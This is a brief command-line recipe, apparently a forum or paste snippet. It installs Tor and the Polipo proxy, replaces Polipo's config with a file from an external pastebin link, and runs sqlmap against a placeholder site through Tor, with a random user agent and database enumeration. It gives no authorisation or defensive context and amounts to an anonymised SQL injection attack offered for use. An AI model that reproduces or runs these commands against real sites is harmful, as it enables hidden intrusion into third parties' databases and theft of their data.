apt-get install tor tor-geoipdb polipo

Replace the config file polipo by the pastebin file

gedit /etc/polipo/config

Polipo configuration file: http://pastebin.com/sRLvt0ue

Restart the services

service tor restart

service polipo restart

sqlmap -u "SITE HERE" --random-agent -v 3 --tor --check-tor --dbs --threads=5